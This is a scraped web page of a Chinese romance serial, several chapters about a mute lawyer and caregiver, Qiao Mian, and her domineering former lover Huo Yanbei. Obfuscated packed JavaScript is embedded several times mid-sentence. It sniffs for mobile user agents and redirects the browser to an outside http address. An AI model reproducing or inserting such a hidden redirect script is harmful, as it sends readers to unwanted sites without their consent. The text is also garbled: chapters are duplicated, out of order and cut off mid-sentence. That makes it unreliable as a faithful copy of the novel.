全程,霍宴北坐在对面,眼神安静地看着她。 好像一不留神,她就会消失似的。 乔眠被盯的脸颊红烫烫的,快速用完餐后,起身道,“我可以走了吗?” “走吧,我送你。” 霍宴北走到她身前,顺势揽住她的肩,一起往门口走。 出门,进入电梯后,问了一句,“你什么时候回京市?” 乔眠想了想,回道,“明天吧。” “好,到时候我送你和孩子们去机场。” “……” 乔眠刚想说不用的,但话到嘴边,忽然间意识到什么,改口道,“你……不回吗?” “公司在沪城接洽了一个市政项目,我需要停留两天再回去。” “哦……” 乔眠若有所思的点了下头。 沪城属于二线城市,霍氏集团在沪城没有分公司。 这也是为何,那六年,她选择留在沪城的原因。 现在霍宴北刚来沪城两天,怎就突然开辟新项目了? 就很突然。 不过,生意场上的事情,她不懂,就没往深处想。 半个多小时后,劳斯莱斯停在孤儿院门口。 乔眠准备下车时,霍宴北说了一句,“乔眠,你手头上的这个案子,有任何需要帮忙的地方,我希望你第一个想到的是我。” 就在王玲和许强再次上前纠缠时,乔眠掏出手机,放出一段录音,“刚才群众们说你弟弟许胜以前家暴乔安的那些话,我可全部录了下来,接下来,我还会挨家拜访取证。” “你……” “如果你们拒绝谈的话,我们现在就走,后续庭审上见,到时候宣判时,该赔偿多少,我方都认。” 乔眠强硬打断对方,软硬兼施又说了一番话后,作势转身就走。 萧明城跟在后面。 三人刚走到大门口,王玲和许强撑不住了,嚷嚷道,“我弟弟好歹一条人命没了,也不是你们三瓜俩枣就能抵消的了的。” 乔眠转过身,从公文包里掏出一份,她之前起草好的赔偿协议和谅解书,一并递过去,“许强,你弟弟是怎样一个人,你心里比谁都清楚,刚才来镇上时,我已经问过不少镇上的人,他们说你们两口子,之前和你弟弟许胜为了镇上那两间,你父亲去世之前留给你们的门面房打的头破血流。” “许胜和乔安之所以离开镇子,去京市打工,也是因为你们独占了家产,把他们撵出去的,为此,你弟弟许胜还曾经拿着刀在街上追砍过你,你们兄弟失和已久,现在却口口声声大谈兄弟情了?” 这些话说出去后,许强都惊了,急忙找补道,“兄弟之间那有隔夜仇?我弟弟许强嗜赌成性,不成器,我占着他那份家产,也是怕他把败光了,我是为了他好。” 乔眠冷笑,“我不是跟你争论你们过去的家事的,许强,利弊我已经分析过了。” 说到这里,她将两份协议直接丢到了面前的桌子上,而后,看了一眼萧明城,“这位萧总愿意给你们一笔赔偿金,我们今天来,不是跟你们吵架的,更不是跟你们讨价还价的,许强,要多少赔偿金才能签谅解书。” 说到这里,她又将一只钢笔放在桌子上,“赔偿金额上你直接写出来。”王玲和许强夫妇听后,惊愕的对了一下眼神。 还没见过这么大方的主儿。 一时间,俩夫妻也不再杠了,态度来了一个八十大转弯。 “那个……乔律师是吧?容我商量商量。” 说罢,夫妻俩难脸上的兴奋之色,去了内院。 乔眠神情复杂的轻摇了一下头,寻了一个凳子坐下。 【看那两口子的态度,咱们肯定能够拿到谅解书,乔律师怎么看起来并不太高兴?】 萧明城紧挨着她坐在板凳另一端,主打跟她搭话。 乔眠叹了一声,连打手语的动作都充满无力感,【我只是觉得,有时候在金钱面前,亲情真的一文不值。】 【人心凉薄,不是每个人都是如此。】 萧明城眉眼温柔的安慰了一句后,一脸赞的看着她,【之前我确实是小瞧乔律师的实力了,其实,在你之前,我请过两个律师来谈,但最后都无疾而终,只有你做到了。】 【萧总过赞了,我就是一个小律师。】 【那我们之前进镇子后,并没有下车走访群众,你是怎么知道许胜和许强兄弟不合的这些事情的?】 乔眠淡笑道,【那天探视乔安也不是没有收获。】 【原来你是通过乔安知道的,那刚才说走访群众,是诈许强的?】 【嗯。】 萧明城牵唇笑了一下,满眼都是欣赏和骄傲,【我就说,我没有找错人。】 乔眠眼神躲闪了一下,没有接这句话,只是半开玩笑道,【萧总别把我捧的太高,半路开香槟的话,打脸的话,白白给您称赞了。】 她并没有百之分百把握,许强会签下谅解书。 所以,心里还是有些忐忑的。 【人性贪婪,尤其是像许强夫妇,之前我请的律师过来,许强夫妇不接招,是因为没有抓到他们的痛处,他们漫天要价,这才没谈拢的,现在,你拿捏了他们的软肋,他们会妥协的。】 手语的动作刚落下,许强夫妇就从内院过来了。 “谅解书我们同意签字,但赔偿金你们要是不给的话……” 还未说完,乔眠直接伸手接过了许强手里的赔偿协议。 看到上面写的金额时,浅勾了一下唇,“一百万,你们真敢想。” 语落,递给了身旁的萧明城。 萧明城看后,朝乔眠轻抬了一下下巴。 意会后,目光如炬的看着许强夫妇,“萧总同意给钱,现在把谅解书和赔偿协议签了,钱立马到账。” 许强夫妇愣了一下,显然没想到对方这么痛快。 还以为这个难缠的律师会砍砍价。 “好,我们签。” 许强夫妇唯恐乔眠这方反悔,痛快签字之后,把两份协议递了过来。 第203章 参加校庆 许强一听立马同意了,写完后,还强调了一句,“这个案子爱怎么判就怎么判,和我们无关,你们也别再找上门了。” “好。” 结束谈话后,萧明城也让助理把钱打到了许强户头上。 从许强家离开后,乔眠松了一口气,有一种打完一场胜场的欣喜。 萧明城,【故意提出让许强认领弟弟许胜的遗体,最后,换了一份保证协议,乔律师的聪慧机智,再次让萧某开了眼。】 乔眠,【萧总过誉了,我是律师,没这点小伎俩的话,也不敢接这个案子。】 现在想想,虽然韩主任以前作为她的师父,人品不怎么样,但之前跟在他身边一起办案,确实学了不少东西。 【我们走吧,时间不早了,还要走访镇上的群众,多采集一些对乔安有利的证词。】 【我跟你一起去。】 【好。】 忙活一下午,准备离开时,已经六点了。 【要不,先找个饭店吃顿饭再回市里吧?】 萧明城提议。 乔眠肚子确实饿了,本欲开口答应时,一辆黑色劳斯莱斯缓缓停在了身旁。 紧接着,车门打开,一个身姿卓越的男人从车上下来。 微暗的夜,将那道身影拉得极长。 凌冽的气场,冷峻绝美的容貌,不是霍宴北又是谁。 对于他的突然出现,乔眠现在已经免疫了。 毕竟,他就是个疯子。 “事情办完了?” 霍宴北阔步走过来,动作自然的牵住她的小手,握住掌心轻轻揉了揉,“上车,我带你回市里。” 语落,目光定定的看向萧明城,用手语说了一句话,【萧总,乔律师的工作已经结束,我的人,我带走了。】 “你……” 乔眠着实一愣。 这还是霍宴北在外面面前第一次用手语。 以前,跟她在一起时,他不喜欢跟她手语交流。 倒是喜欢通过写字的方式,跟她说话。 乔眠还在走神时,已经被他抓着手腕走到车前,被轻推着上了车。 甚至还来不及跟萧明城打招呼,车就开走了。 “霍总,你这样很不礼貌。” 乔眠觉得霍宴北强势的过分,恼了他一句。 “我答应过不干涉你工作,但工作之后,你归我所有,碍事的人,我自然不会给好脸。” 说这些话时,男人捏住她的小脸,俯身在她唇上吻了一下。 乔眠脸颊瞬间红了一下,注意到开车的陈珂不仅看到了,还在偷笑,立马推开他,“你别不正经!” “行,那就正经点。” 霍宴北揽紧她的肩膀,“工作顺利吗?” “嗯,特别顺利,我对这个案子很有把握。提及今天的成果,乔眠眼底难掩一丝小骄傲。 除了在孩子们面前,霍宴北很少见她如此笑得如此开心的模样,目光温柔的黏在她脸上,“乔律师这么棒,得给你升职加薪才行。” 乔眠一听,立马蹙起了眉,“霍总,我不想被人误会是靠你上位,工作是工作,我们之间私事,不该牵扯到工作上。” “好,我错了。” 男人笑笑,轻声哄了一句,“以后你想做什么就做什么,嗯?” 乔眠不太适应他温柔哄人的模样,以前,两人在一起时,他从来不曾哄过她。 也无需哄她。 因为,每次只要他冷了脸,或是皱一个眉头,她都会第一时间自我检讨是不是自己做的不够好,一味讨好的让他开心。 “怎么还哄不高兴了?” 见她突然沉默,眉眼间的笑意淡了下来,霍宴北轻声问道。 乔眠摇了摇头,将情绪敛去,这才想起来问,“你该不是一直跟着我们吧?” 霍宴北目光犹疑的落向车窗外,停顿了数秒后,回道,“没有,只是估摸好时间,提前过来接你了。” “哦……” 乔眠没再问下去,许是车里暖气开的太足,没一会儿就靠在霍宴北肩上睡着了。 霍宴北将她整个儿揽进怀里,伸手捏了捏她的小鼻子,喃喃自语了一句,“抱歉,不该骗你。” 其实,下午乔眠和萧明城离开许强家后,他和陈珂去见了许强。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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踩着高跟鞋走上前,一双纤白的手臂紧紧搂住霍宴北的脖颈,踮起脚尖,眼波流转间尽显一个成**人的风情万种。 娇艳的红唇微启,即将贴上男人紧抿的薄唇时,落在女人腰上的双手,略微用力,将女人从怀里推开了。 宋蔓眼底闪过一丝被拒绝的尴尬,拨弄了一下垂散下来的一缕鬓发,“宴北,你怎么好像不太高兴的样子?” 霍宴北走到一旁,点了一支烟在沙发上坐下,蹙眉睨着她,“宋蔓,虽然我们不是真正的夫妻,可念在你在我身边六年,我确实亏欠于你,上次谈话时,我尽可能的弥补你了一笔资产,我以为我们已然达成共识,体面的解绑,但你……” 说到这里时,男人眉眼一压,“你为何私底下去找乔眠?” 宋蔓对霍宴北知道她去找过乔眠一事,并不惊讶。 乔眠一向爱装柔弱,有心机,这次,逮着机会,肯定会在霍宴北面前告状。 …… 晚上。 乔眠照顾完孩子们吃完晚饭后,她打开家里的监控摄像头,全副武装后,出去跑代驾了。 回来时,已经凌晨了。 洗完澡,准备从包里拿出手机,给手机充电时,看到包里有一条手帕。 是白天霍宴北塞到她手里那条。 乔眠握在手里,仔细翻看着。 这些年,他的习惯一点没变。 无论穿的用的,都是私人订制的几个高奢品牌。 手帕是纯羊毛真丝的。 至少四位数。 但是,再贵,放在手里也烫手。 乔眠本想丢进垃圾桶的,但是,这么贵重的东西,丢了,就好像丢钱似的。 好心疼。 她想了想,打开手机,将手帕仔仔细细拍了几张照片后,挂到二手奢侈品平台上了。 至于名片,丢进了垃圾桶。 …… 翌日。 乔眠把孩子们送去幼儿园后,坐地铁去了京华医院。 刚走进员工换衣间,就听到几个同事聚在一起议论八卦。 “真够惨的。” “也不知道得罪了什么人。” “活该,这个老色胚总是对我们动手动脚的,我看是老天长眼了,替我们教训他呢!” “……” 乔眠性子文静,不爱交际。 平时和同事之间保持着客气礼貌的社交距离。 别人聊八卦,她不会参与,也不愿多听。 但是,此刻,她听出她们议论的老色胚病人,应该是她昨天刚刚结束雇佣关系的那个男病人。 于是,插嘴问了一句:“请问,发生什么事情了?” 一个跟她年龄相仿的护工周眉,问道:“小乔,809病床的老色胚可是你之前护理的病人,他出事了,你不知道吗?” 乔眠摇头。 年纪偏长一点的王姐说:“809今天早上被人发现扔在海边,泡了一夜海水,好在命大没死,送到医院时,蔫吧的跟条死鱼一样呢。” “哈哈!王姐,你这嘴可真毒。” “老娘四十多岁了,还被那下流胚子摸屁股占便宜,没咒他死算是嘴上留德了。” “就是,他活该!” 周眉见乔眠默不作声,凑到她耳边,小声问,“小乔,我听说昨天809刚对你耍流氓了,该不是你有什么大哥给你撑腰,找人教训了他一顿?” 乔眠:“没有。” “那就奇怪了,809到底得罪谁了?关键是,他也不报警,无论谁问,他硬说是自己不小心掉海里的。” “肯定是惹了哪位尊神,他敢说不得弄死他啊!” 同事们还在七嘴八舌的议论,乔眠却想起那夜在蛋糕店门外,被霍宴北踩得鼻梁断裂的那个男人。 不知为何,她总觉得809被丢进海里一事,跟霍宴北有关…… 这么狠厉的手段,太像他的行事作风了。 记得两人刚在一起时,他大四。 她才大一。 有一次在学校里,有人嘲笑她:“京大的学霸校草成了瞎子,倒是让一个聋哑胖妹捡了漏,小哑巴,你那么胖,霍大男神抱得动你吗?” 当时,霍宴北疯了似的把那个男同学差点打死。 到现在,她依旧记得他** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250568|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,暴戾嗜血的眼神。 若不是,她哭着抱住他,他手里的刀已经捅进了那人的胸口。 这事闹得很大。 霍宴北被警察带走了。 后来,她在霍家门口跪了一个雨夜,霍家人怕事情闹得更大,有损家族名誉,这才花钱平息了此事。 但是,霍宴北很记仇。 他眼睛复明回到霍家后,仍是使了手段,逼得那个男同学不仅转了学,一大家子一夜间搬离了京市。 这就是霍宴北的狠。 像狼。 生性凉薄。 一旦被盯上,下场很惨。 他曾说过一句话:【为了阿妩,我愿意当一个触犯整本刑法典的恶魔。】 他是戏言。 她却当了真。 那之后,她常常在床头放一本法律书,她看书时,会缠着他一起陪她看法条…… 可是,一个人的本性难改。 六年过去了,霍宴北,依旧没变。 冷血狠戾。 乔眠思绪混乱。 或许,是她想多了…… 霍宴北没认出她,何故为她出头? 这时,领头孟大姐走了进来,见一大堆人围在一起议论八卦,语气严肃的训斥:“快到上工点了,都没事做了?” 大家这才换好护工装,各自忙去了。 乔眠正欲开口问她,今天有没有活安排给她时,孟大姐走到她身前,拍着她的肩膀笑着说:“小乔,VIP病房1101需要一个陪护,我看你干活麻利又勤快,就推荐了你,这可是份好差事,雇主是个有钱人,只要你伺候好了,大把的小费呢!” “……” 乔眠惊讶。 她是兼职护工,刚来不到两个月。 这样有钱人的雇主,一般都会很挑剔,要求经验丰富的护工,孟大姐怎么推荐她一个新人? 她猜测,这位雇主,肯定是一位卧床不能自理,脾气古怪的老头子。 兴许还要伺候他擦屎换尿垫。 若不然,好差事定然轮不到她头上。 “磨蹭什么?” 孟大姐见她犹犹豫豫的,脸上笑容逐渐消失:“小乔,你是不想干了?” 第205章 2 她需要这份工作。 挣得就是这份辛苦钱,她没有挑三捡四的资格。 “这才懂事,好好干啊,别给我捅娄子。” “是……” 乔眠收拾好后,出了换衣室,乘坐电梯,去了顶楼VIP专区。 来到1101病房门前时,她深深吸了一口气。 只是,连续敲了两次,无人应答。 敲第三次仍是无人回应时,她试着转动门把手,轻轻一推。 门开了。 她步伐很轻的走进去。 不愧是VIP病房。 一百多平。 俨然酒店的大套间。 宽敞的客厅里,连一个家属都没有。 很奇怪。 她走到里间门口,准备敲门时,门忽然从里面打开了。 她吓了一跳。 抬起头,看清楚对方那张脸时,瞳孔猛地一紧。 霍宴北。 雇主竟然是他? 乔眠心口一梗。 好像一股寒风从骨头缝里刮进胸腔里,堵的提不上来气。 他穿着一件藏青色羊绒长款睡袍。 斜襟交领半敞,腰带系的松松垮垮。 几乎露出整个上半身。 他比以前瘦了许多。 但因常年健身的缘故,皮肤紧致,肌肉壁垒分明,坚实健壮。 他很白。 尤其是,沐浴后顶着一头湿发,面孔泛着冷白的光泽,俊美冷艳的不似**。 就是这张好看的脸,让她迷恋了整个少女时代。 现在这张脸,比六年前多了几分成熟男人的性感沉稳。 但极具凌冽的气场,却让她只想逃离。 但是,脚底却像黏了胶水似的,身体僵硬的不听使唤。 目光直愣愣的落在他身上。 看着他发梢滴落下来的水珠,沿着棱角分明的五官,淌进线条凌厉的胸肌,最后没入睡袍下若隐若现的紧硕腹肌。 她的脸刷一下红了。 心脏狂乱的跳动着。 “看够没?” 男人淡淡出声。 乔眠眼神微颤。 回过神来时,他已经走到了她面前。 和她仅有一米多的距离。 他太高了,笼罩下来的阴影,将她完全覆盖。 乔眠能清晰的闻到他身上那股清淡幽微的草木香。 曾经无数次床榻缠绵,这股淡香,就像**,麻痹着她的身体和神智,让她上瘾贪恋。 一度沉溺在那段禁忌的危险关系中。 “乔眠。” 他盯着她那双染着雾气的桃花眼,语气淡淡的唤她的名字。 乔眠不安的攥紧手指。 想开口问他怎么知道她的名字时,却发现喉咙梗塞的说不出话来。 她再一次失声了…… 乔眠惊住。 见她总是闷不吭声的,霍宴北略有些不耐的将手里的毛巾丢到她头上:“进来。” “唔……” 乔眠呼吸一滞的嘤咛一声,拽下脑袋上的毛巾时,他已经率先走进了里间。 见他公事公办的态度,她波澜起伏的心绪才稍微平静一些。 他没有认出她。 不是刻意点名让她来陪护的…… 乔眠心里自我安慰,强逼着自己镇静下来。 她越是慌乱不安,只会越让他觉得奇怪。 她咬了咬牙。 心想,撑过这半天,她就跟孟大姐提出换人。 她将口罩往上拽了拽,这才慢吞吞的走进里间。 进屋后,发现整间卧室,布置的像一个办公室。 电脑桌上堆满了文件。 此时,他正站在落地窗前打电话。 说的是工作方面的专业术语。 神情严肃,语气低沉。 单是听着那语气,就让人不寒而栗。 乔眠走到病床前,从床尾取下病志本,仔细翻看了一遍。 肺部发炎引起的重症感冒。 乔眠知道这病可大可小。 女儿去年就是因为肺部感染引起的感冒,高烧反复,在儿童医院住了快一个月。 想到这里,她从口袋掏出一个崭新的口罩戴上。 然后,拿出酒精消毒水,清洁完双手后,将自己从头到脚消了一遍毒。 肺炎会传染的。 她要是中招了,回去后,再传染给孩子们怎么办。 “你在嫌弃我?” 打完电话的霍宴北走过来,看到她又戴了一层口罩,身上喷的消毒水把自己都呛的直咳嗽时,不由得蹙了蹙眉。 乔眠张了张嘴,还是说不出来话,只好打手语解释:【注意卫生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255326|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是我的本职工作。】 霍宴北抱着双臂,好整以暇的盯着她的眼睛:“所以,你是嫌我脏,每次看到我才不说话的?” “……” 她很想说,自己是因为看到他,才变成哑巴的…… 但是,她知道,她说了,他也不会相信。 他一向高高在上强势霸道,在他面前,解释,就是狡辩。 只会招惹他不快。 还不如沉默。 见她仍是不说话,霍宴北意味深长的看着她:“我饿了。” 乔眠打手语:【你想吃什么?我去食堂买。】 “我不吃食堂饭。” 乔眠:【我去外面买。】 “你来做。” 乔眠咬了一下唇,点头。 看着她离开时的纤细身影,霍宴北神情有些恍惚。 她那双眼睛,真的很熟悉。 …… 乔眠关上厨房门后,按着噗通噗通乱跳的心脏,蹲在了地上。 她拽掉口罩,大口呼吸着。 好像刚从魔窟逃出来一样。 他不是结婚了吗? 生病住院,他妻子宋蔓怎么没来照顾他…… 想到这里,她使劲拍了拍脸颊。 告诫自己清醒一些。 六年前,她已经‘死’了。 霍宴北的世界,与她无关。 整理好情绪后,她洗干净手,开始做早餐。 他这病,只能吃清淡的。 霍宴北对吃的很挑剔。 为了照顾他的口味,以前,课业不忙时,她会闷在厨房变着花样给他烧菜。 久而久之,他只爱吃她做的饭菜。 在霍家那两年,他无论在公司,或是在外地出差,只要他说,想吃她做的饭了,无论再远,她都会奔赴过去,为他洗手作羹汤。 没想到时隔六年,再次成了她的保姆。 四十分钟后,她端着一碗粥和两碟小菜,送去了卧室。 此时,霍宴北已经换了一身休闲装。 黑色高领毛衣,有些修身,紧实健硕的腹肌隐隐凸显。 黑色呢料长裤,愈加衬得他身姿修长。 头发刚刚吹过,蓬松的趴在额前,柔和了男人过分冷峻严肃的面孔。 尤其是,他戴着金丝边框眼镜时,禁欲又沉稳。 第206章 宣示** 【乔律师不是说要去探望昔日的一个师吗?莫不是那位老师是京大的?】 乔眠看完后,整个人都麻了。 身体僵硬的动弹不了。 小脸在他沁着寒意的指间被缓缓抬高。 他像在检查一件物件,看尽她脸上每一寸肌肤。 一根汗**都不放过。 这是霍宴北第一次近距离看清楚她的容貌。 刚才在走廊,她戴着口罩,他只觉得她的眼睛,有点像那夜在警局和蛋糕店遇到的女人。 虽然,那夜她化着浓妆,几乎遮住了原本容貌。 现在,她素颜,他还是认出了她就是那夜……欠他钱的女人。 女人生了一张带着几分书卷气的清纯脸。 五官精雕玉琢,温婉柔静极了。 因紧张,过分冷白的皮肤泛红又灼眼。 穿着一身洗的泛白的护工装,身形纤薄盈盈。 很瘦。 霍宴北黑眸微眯,只觉得对方眼熟。 尤其是那汪泛着水润光泽的桃花眼,似曾相识的熟悉。 熟悉的让他不自控的靠近她。 松开她后,高大修长的身躯倾轧下去。 双臂撑在她身体双侧的洗手台上。 整个儿将瘦弱的女人困在身体与洗手台之间。 “你叫什么名字?” 头顶传来男人冷淡的询问声。 乔眠紧紧抠着洗手台的指甲断裂,沁出一滴一滴殷红的鲜血。 钝痛,刺激着感官神经,让她僵化的神智恢复一丝清醒。 羽翼般的睫毛轻颤,她呼吸灼乱的用力推开他。 抚着被他捏的起了指印,火辣辣的脸颊。 和当年,他那一巴掌,打在她脸上时的刺痛感一模一样。 她眼睛通红的瞪着他,张嘴,想骂他。 可是,喉咙却像塞了一块火炭,烫的她说不出话。 “呃……喔……” 她再次张嘴。 只能发出含糊不清的儿化音。 她心里一惊。 低着头,摸了摸喉咙。 惊惧的厉害。 她好像又变成哑巴了…… 霍宴北见她恐惧的像只应激的小猫,意识到自己的行为吓到她了,将手帕放进她手里后,淡淡提醒了一句:“记得还钱。” 乔眠怔了怔。 这才想起来,自己还欠他39.9的蛋糕钱没还。 所以,他一路跟过来,是追债的…… 为了三十九块九…… 乔眠抿唇。 因为说不出话,只能打手语:【抱歉,我忘记了,一会儿就还你钱。】 “……” 霍宴北能看懂手语。 见她打手语时,浓墨的眉微微一拧,正欲开口问些什么时,女人却突然撒腿逃跑了。 霍宴北眯了眯眼睛。 这个女人很奇怪。 每次见到他,就像老鼠见了猫似的。 也不开口说话。 却只打手语…… 像是在故意引起他的注意。 “瞅瞅你把人家小护工吓得跟见了鬼似的。” 跟过来瞧了一出热闹的顾淮年,身姿慵懒的斜靠着门框:“对那个小护工感兴趣?” 霍宴北没理他。 烦闷的按了按胀痛的太阳穴,抬步走了。 回到医生办公室后,霍宴北颓乏的坐在沙发上,从口袋掏出一盒烟,弹出一根准备往嘴里放时,被顾淮年一把夺了过去。 “你现在肺部感染,反复高烧,还敢抽烟?” 霍宴北依旧没搭理他,淡声吩咐安静跟在身旁的陈珂:“把病房里那条杂鱼丢出去。” “是。” 顾淮年咂嘴:“呦呦呦,这就为小护工出头了?你这些年,玩的这么疯,宋蔓倒是能忍。” 霍宴北冷了他一眼,“想当杂鱼?” 顾淮年嘿嘿一笑:“我现在可是你的主治医生。” 语落,他走到办公桌前坐下,点开CT室那边传过来的霍宴北的片子,只看一眼,脑袋都炸了。 “一周了,肺都快烧穿了,霍宴北,你到底有没有按时吃药?” 霍宴北心不在焉的嗯了一声,神情专注的低头看着手机。 他给了那个女人名片。 她却一直没有加他微信。 刚才还提醒她还钱的。 他烦躁的收起手机,再次摸出一根烟,点燃后咬进嘴里,开始吞云吐雾起来。 顾淮年头大的看向陈珂:“瞧瞧,你家二爷快把自己的身体糟践成什么样了?再折腾下去,他这身体大罗神仙都救不了。” 说罢,开了一堆单子交给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255327|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈珂,“肺部感染不是开玩笑的,这次,他若还不肯住院的话,就告诉他爷爷,绑也要把他绑在医院不可。” 陈珂知道顾淮年说的并不夸张。 这六年,二爷好像永远不知疲倦似的,将所有精力都投入工作中。 长期熬夜,饮食不规律,又常年奔跑于国内外出差。 拼命的应酬。 好几次喝到胃出血。 加上每年一场风寒大病,现在的身体状态很糟糕。 “二爷,您还是听顾医生的吧?” 陈珂抖着胆儿劝道。 他以为二爷会像以前那样直接冷脸走人。 没想到,却听到淡淡一个字。 “好。” “呦呵,太阳打西边出来了?你霍宴北还有听劝的时候。” 顾淮年损了一句,唯恐他反悔,忙着出去给这位尊神安排病房了。 只有陈珂明白,二爷肯住院,怕是醉翁之意不在酒。 …… 乔眠照顾完孩子们吃完晚饭后,乔眠打开家里的监控摄像头,全副武装后,出去跑代驾了。 回来时,已经凌晨了。 洗完澡,准备从包里拿出手机,给手机充电时,看到包里有一条手帕。 是白天霍宴北塞到她手里那条。 乔眠握在手里,仔细翻看着。 这些年,他的习惯一点没变。 无论穿的用的,都是私人订制的几个高奢品牌。 手帕是纯羊毛真丝的。 至少四位数。 但是,再贵,放在手里也烫手。 乔眠本想丢进垃圾桶的,但是,这么贵重的东西,丢了,就好像丢钱似的。 好心疼。 她想了想,打开手机,将手帕仔仔细细拍了几张照片后,挂到二手奢侈品平台上了。 至于名片,丢进了垃圾桶。 …… 翌日。 乔眠把孩子们送去幼儿园后,坐地铁去了京华医院。 刚走进员工换衣间,就听到几个同事聚在一起议论八卦。 “真够惨的。” “也不知道得罪了什么人。” “活该,这个老色胚总是对我们动手动脚的,我看是老天长眼了,替我们教训他呢!” “……” 乔眠性子文静,不爱交际。 第207章 一夜 平时和同事之间保持着客气礼貌的社交距离。 别人聊八卦,她不会参与,也不愿多听。 但是,此刻,她听出她们议论的老色胚病人,应该是她昨天刚刚结束雇佣关系的那个男病人。 于是,插嘴问了一句:“请问,发生什么事情了?” 一个跟她年龄相仿的护工周眉,问道:“小乔,809病床的老色胚可是你之前护理的病人,他出事了,你不知道吗?” 乔眠摇头。 年纪偏长一点的王姐说:“809今天早上被人发现扔在海边,泡了一夜海水,好在命大没死,送到医院时,蔫吧的跟条死鱼一样呢。” “哈哈!王姐,你这嘴可真毒。” “老娘四十多岁了,还被那下流胚子摸屁股占便宜,没咒他死算是嘴上留德了。” “就是,他活该!” 周眉见乔眠默不作声,凑到她耳边,小声问,“小乔,我听说昨天809刚对你耍流氓了,该不是你有什么大哥给你撑腰,找人教训了他一顿?” 乔眠:“没有。” “那就奇怪了,809到底得罪谁了?关键是,他也不报警,无论谁问,他硬说是自己不小心掉海里的。” “肯定是惹了哪位尊神,他敢说不得弄死他啊!” 同事们还在七嘴八舌的议论,乔眠却想起那夜在蛋糕店门外,被霍宴北踩得鼻梁断裂的那个男人。 不知为何,她总觉得809被丢进海里一事,跟霍宴北有关…… 这么狠厉的手段,太像他的行事作风了。 记得两人刚在一起时,他大四。 她才大一。 有一次在学校里,有人嘲笑她:“京大的学霸校草成了瞎子,倒是让一个聋哑胖妹捡了漏,小哑巴,你那么胖,霍大男神抱得动你吗?” 当时,霍宴北疯了似的把那个男同学差点打死。 到现在,她依旧记得他**时,暴戾嗜血的眼神。 若不是,她哭着抱住他,他手里的刀已经捅进了那人的胸口。 这事闹得很大。 霍宴北被警察带走了。 后来,她在霍家门口跪了一个雨夜,霍家人怕事情闹得更大,有损家族名誉,这才花钱平息了此事。 但是,霍宴北很记仇。 他眼睛复明回到霍家后,仍是使了手段,逼得那个男同学不仅转了学,一大家子一夜间搬离了京市。 这就是霍宴北的狠。 像狼。 生性凉薄。 一旦被盯上,下场很惨。 他曾说过一句话:【为了阿妩,我愿意当一个触犯整本刑法典的恶魔。】 他是戏言。 她却当了真。 那之后,她常常在床头放一本法律书,她看书时,会缠着他一起陪她看法条…… 可是,一个人的本性难改。 六年过去了,霍宴北,依旧没变。 冷血狠戾。 乔眠思绪混乱。 或许,是她想多了…… 霍宴北没认出她,何故为她出头? 这时,领头孟大姐走了进来,见一大堆人围在一起议论八卦,语气严肃的训斥:“快到上工点了,都没事做了?” 大家这才换好护工装,各自忙去了。 乔眠正欲开口问她,今天有没有活安排给她时,孟大姐走到她身前,拍着她的肩膀笑着说:“小乔,VIP病房1101需要一个陪护,我看你干活麻利又勤快,就推荐了你,这可是份好差事,雇主是个有钱人,只要你伺候好了,大把的小费呢!” “……” 乔眠惊讶。 她是兼职护工,刚来不到两个月。 这样有钱人的雇主,一般都会很挑剔,要求经验丰富的护工,孟大姐怎么推荐她一个新人? 她猜测,这位雇主,肯定是一位卧床不能自理,脾气古怪的老头子。 兴许还要伺候他擦屎换尿垫。 若不然,好差事定然轮不到她头上。 “磨蹭什么?” 孟大姐见她犹犹豫豫的,脸上笑容逐渐消失:“小乔,你是不想干了?” 乔眠咬唇:“我去。” 她需要这份工作。 挣得就是这份辛苦钱,她没有挑三捡四的资格。 “这才懂事,好好干啊,别给我捅娄子。” “是……” 乔眠收拾好后,出了换衣室,乘坐电梯,去了顶楼VIP专区。 来到1101病房门前时,她深深吸了一口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔眠能清晰的闻到他身上那股清淡幽微的草木香。 曾经无数次床榻缠绵,这股淡香,就像**,麻痹着她的身体和神智,让她上瘾贪恋。 一度沉溺在那段禁忌的危险关系中。 “乔眠。” 他盯着她那双染着雾气的桃花眼,语气淡淡的唤她的名字。 第208章 认错人 【乔律师不是说要去探望昔日的一个师吗?莫不是那位老师是京大的?】 